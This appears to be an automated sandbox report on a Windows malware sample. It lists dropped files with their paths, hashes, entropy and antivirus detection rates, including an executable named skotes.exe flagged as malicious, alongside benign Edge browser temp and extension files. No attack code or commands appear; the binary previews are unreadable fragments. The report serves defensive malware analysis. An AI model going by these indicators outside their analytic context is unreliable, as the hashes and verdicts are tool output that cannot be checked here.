SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1006397001\8ab1d3acb4.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1638400
Entropy (8bit):	7.958933255626289
Encrypted:	false
SSDEEP:	49152:QWOPXtv52ZqkGpPora5k6eXM4gJss3aESq:Q59vg4kSkezss3n
MD5:	2B01F6B43C18EE3FDF5101D93E19CB47
SHA1:	3F065CBD99EDFA174B5794BBA591D6C19860AFC8
SHA-256:	0E9A6416E638A313EF4F7A7C624A704FB83F27895353DE3980EE45D0241A9EA6
SHA-512:	1414CA0A471049BCD189DBA98B3CDEC37ED0B8742710A4A74DBE118B344BA7B8B790C6E9F9910B2EB05059436026EF0968F369F8DFF2537B82492F2140D3AD4C
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....4g.............................`H...........@...........................H.....<.....@.................................T@..h............................A...................................................................................... . . .......J..................@....rsrc .....0.......Z..............@....idata .....@.......Z..............@... ..)..P.......\..............@...jwsfpihg.P..../..J...^..............@...iwmzihna.....PH.....................@....taggant.0...`H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\59feddf0-b86b-4fe3-b714-14dae34ed4d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\775f5558-c235-4ca5-8b28-fff357a26b48.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\976e93fd-4c68-4096-be19-57e271fe0889.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\9ab69c51-ce14-449d-ba41-3c2b5c84d895.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsHDGCAAFBFB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3218944
Entropy (8bit):	6.662158301388658
Encrypted:	false
SSDEEP:	49152:s/8b8FLuJLipObwKUtNCNeQfDFSXDQQChtAAOO:sHFLuJ2pObwKUtgJMTA/Z
MD5:	C9B569B709CE00A483E1F7B55E1968D7
SHA1:	3D4C51453FEF7669309FE4D7B09FC966ECB2E4EB
SHA-256:	3F56D922315B19C434E83E114274E6B63ACFC435AF88F27386EF4BC257D43994
SHA-512:	813D6135AB064261FACB4271EA40B39AB3079608AC3E8525B5A8F7D9CD22E68749F9C47C1D8535D0DED0713CC2449250D3AF49366247653EB0A9A01DDF29AD15
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f............................. 1...........@..........................P1.....q.1...@.................................W...k.......H.....................1...............................1..................................................... . ............................@....rsrc...H...........................@....idata ............................@...reekuiqa.`......`.................@...awjmlosa......1.......0.............@....taggant.0... 1.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.404233574359539
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L0BL5+2Wt0BX5M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5T
MD5:	081CA98337C70F8D5571242B14604269
SHA1:	4C22F07EC630907413517F6F6778AE00512B3C2B
SHA-256:	2DF2034519EC432E28F15E7648EBDD3FF8C37D123FB1ED999696F289CB4AAAF9
SHA-512:	DF5E2D68AB406A5EE0D95F2B51B010C7C08C5C0BE22AB7F3A78AD468B5DC45A535E5206547C70B69DA161DBC91A0EC52FF79D5F08F1ADBC69F18FDCF16B8115B
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\e2aaf0c9-9550-452a-ae6b-85165fc46984.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\ec1673b9-e120-49ca-be87-f68ee009fd95.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1539163
Entropy (8bit):	7.9931220930992355
Encrypted:	true
SSDEEP:	24576:5YHnSf7evfIugbVQyq8qdEwZgBFvsCf5kFpRHtpo/umBDfOY3yxGx4WJYgPdWjU8:aHSDQfApQyVqdl6b0Cf6R4mmBLOY3yMu
MD5:	217AA9D3E263676607A1BADD4C92D4D9
SHA1:	5B7D33D026125B2553A8C5B917834DE2A981C2A0
SHA-256:	07BA925F4F6F5D6A8DCDAEBE63A1A0C7C9BADC79BFE707F1B1916483AE0A11B1
SHA-512:	BCC995A40C17F3EBA5272B70C3E196DC7FA858F137ACA16AE8475566A258966B2CC34B1F4FEBBB954DDE15498AB14B23CBDF9B4E9FE69DCCC9BDD3304ABCD6F3
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\f008bcb7-ee2d-44bd-9199-7312e755af46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1784964738\775f5558-c235-4ca5-8b28-fff357a26b48.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1784964738\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1784964738\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1784964738\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1784964738\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. 